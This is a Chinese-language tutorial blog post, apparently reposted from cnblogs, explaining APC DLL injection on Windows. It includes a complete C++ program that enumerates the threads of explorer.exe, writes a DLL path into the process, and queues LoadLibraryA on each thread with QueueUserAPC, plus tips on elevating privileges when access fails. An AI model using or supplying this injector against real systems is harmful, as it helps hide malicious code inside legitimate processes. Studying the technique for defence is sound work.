APC,即Asynchronous procedure call,异步程序调用
APC注入的原理是:
在一个进程中,当一个执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断,当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数,利用QueueUserAPC()这个API,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,
注入流程:
1.根据进程名称得进程ID
2.枚举该进程中的线程
3.将自己的函数插入到每个线程的APC队列中
#include "stdafx.h" #include <windows.h> #include <Tlhelp32.h> #include <iostream> #include <stdio.h> #include <stdlib.h> using namespace std; typedef struct _THREADLIST { DWORD dwThreadId; _THREADLIST *pNext; }THREADLIST; int q = 0; DWORD GetProcessID(const char *szProcessName); int EnumThreadID(DWORD dwPID, THREADLIST * pdwTidList); THREADLIST* InsertThreadId(THREADLIST *pdwTidListHead, DWORD dwTid); DWORD Inject(HANDLE hProcess, THREADLIST *pThreadIdList); int main() { THREADLIST *pThreadIdHead = NULL; pThreadIdHead = (THREADLIST *)malloc(sizeof(THREADLIST)); if (pThreadIdHead == NULL) { printf("申请失败"); return 0; } //ZeroMemory是美国微软公司的软件开发包SDK中的一个宏。 其作用是用0来填充一块内存区域 ZeroMemory(pThreadIdHead, sizeof(THREADLIST)); DWORD dwProcessID = 0; if ((dwProcessID = GetProcessID("explorer.exe")) == 0) { printf("进程ID获取失败!\n"); return 0; } EnumThreadID(dwProcessID, pThreadIdHead); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID); if (hProcess == NULL) { printf("打开进程失败"); return 1; } Inject(hProcess, pThreadIdHead); cout<<q; getchar(); getchar(); return 0; } DWORD GetProcessID(const char *szProcessName) { //PROCESSENTRY32这个宏在<Tlhelp32.h>中 PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); //创建线程快照 HANDLE SnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (SnapshotHandle == INVALID_HANDLE_VALUE) { return 0; } if (!Process32First(SnapshotHandle, &pe32)) { return 0; } do { if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName))) { printf("%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID); return pe32.th32ProcessID; } //Process32Next是一个进程获取函数,当我们利用函数CreateToolhelp32Snapshot()获得当前运行进程的快照后, 我们可以利用Process32Next函数来获得下一个进程的句柄 } while (Process32Next(SnapshotHandle, &pe32)); return 0; } int EnumThreadID(DWORD dwPID, THREADLIST * pdwTidList) { int i = 0; THREADENTRY32 te32 = { 0 }; te32.dwSize = sizeof(THREADENTRY32); HANDLE SnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPID); if (SnapshotHandle != INVALID_HANDLE_VALUE) { if (Thread32First(SnapshotHandle, &te32)) { do { if (te32.th32OwnerProcessID == dwPID) { if (pdwTidList->dwThreadId == 0) { pdwTidList->dwThreadId = te32.th32ThreadID; } else { if (NULL == InsertThreadId(pdwTidList, te32.th32ThreadID)) { printf("插入失败!\n"); return 0; } } } } while (Thread32Next(SnapshotHandle, &te32)); } } return 0; } THREADLIST* InsertThreadId(THREADLIST *pdwTidListHead, DWORD dwTid) { THREADLIST *pCurrent = NULL; THREADLIST *pNewMember = NULL; if (pdwTidListHead == NULL) { return NULL; } pCurrent = pdwTidListHead; while (pCurrent != NULL) { if (pCurrent->pNext == NULL) { // 定位到链表最后一个元素 pNewMember = (THREADLIST *)malloc(sizeof(THREADLIST)); if (pNewMember != NULL) { pNewMember->dwThreadId = dwTid; pNewMember->pNext = NULL; pCurrent->pNext = pNewMember; return pNewMember; } else { return NULL; } } pCurrent = pCurrent->pNext; } return NULL; } DWORD Inject(HANDLE hProcess, THREADLIST *pThreadIdList) { THREADLIST *pCurrentThreadId = pThreadIdList; const char szInjectModName[] = "需要加载的自己的动态库路径"; DWORD dwLen = strlen(szInjectModName) + 1; PVOID param = VirtualAllocEx(hProcess, NULL, dwLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); UINT_PTR LoadLibraryAAddress = (UINT_PTR)GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); if (param != NULL) { SIZE_T dwRet; if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet)) { while (pCurrentThreadId) { HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentThreadId->dwThreadId); if (hThread != NULL) { //注入DLL到指定进程 QueueUserAPC((PAPCFUNC)LoadLibraryAAddress, hThread, (ULONG_PTR)param); printf("OK\r\n"); q++; } printf("ThreadID:%d\n", pCurrentThreadId->dwThreadId); pCurrentThreadId = pCurrentThreadId->pNext; } } } return 0; }
如果OpenProce或者OpenThread失败,可以尝试提权,或者给UAC,以管理员身份启动。
不过我个人觉得,这个方法不是每次都能成功,只有线程多的进程,才比较容易成功。win7 测试成功,Win10不是每次成功。
另外没有提供删除APC队列中函数的方法,所以不能反复注入。
来源:https://www.cnblogs.com/HsinTsao/p/6416495.html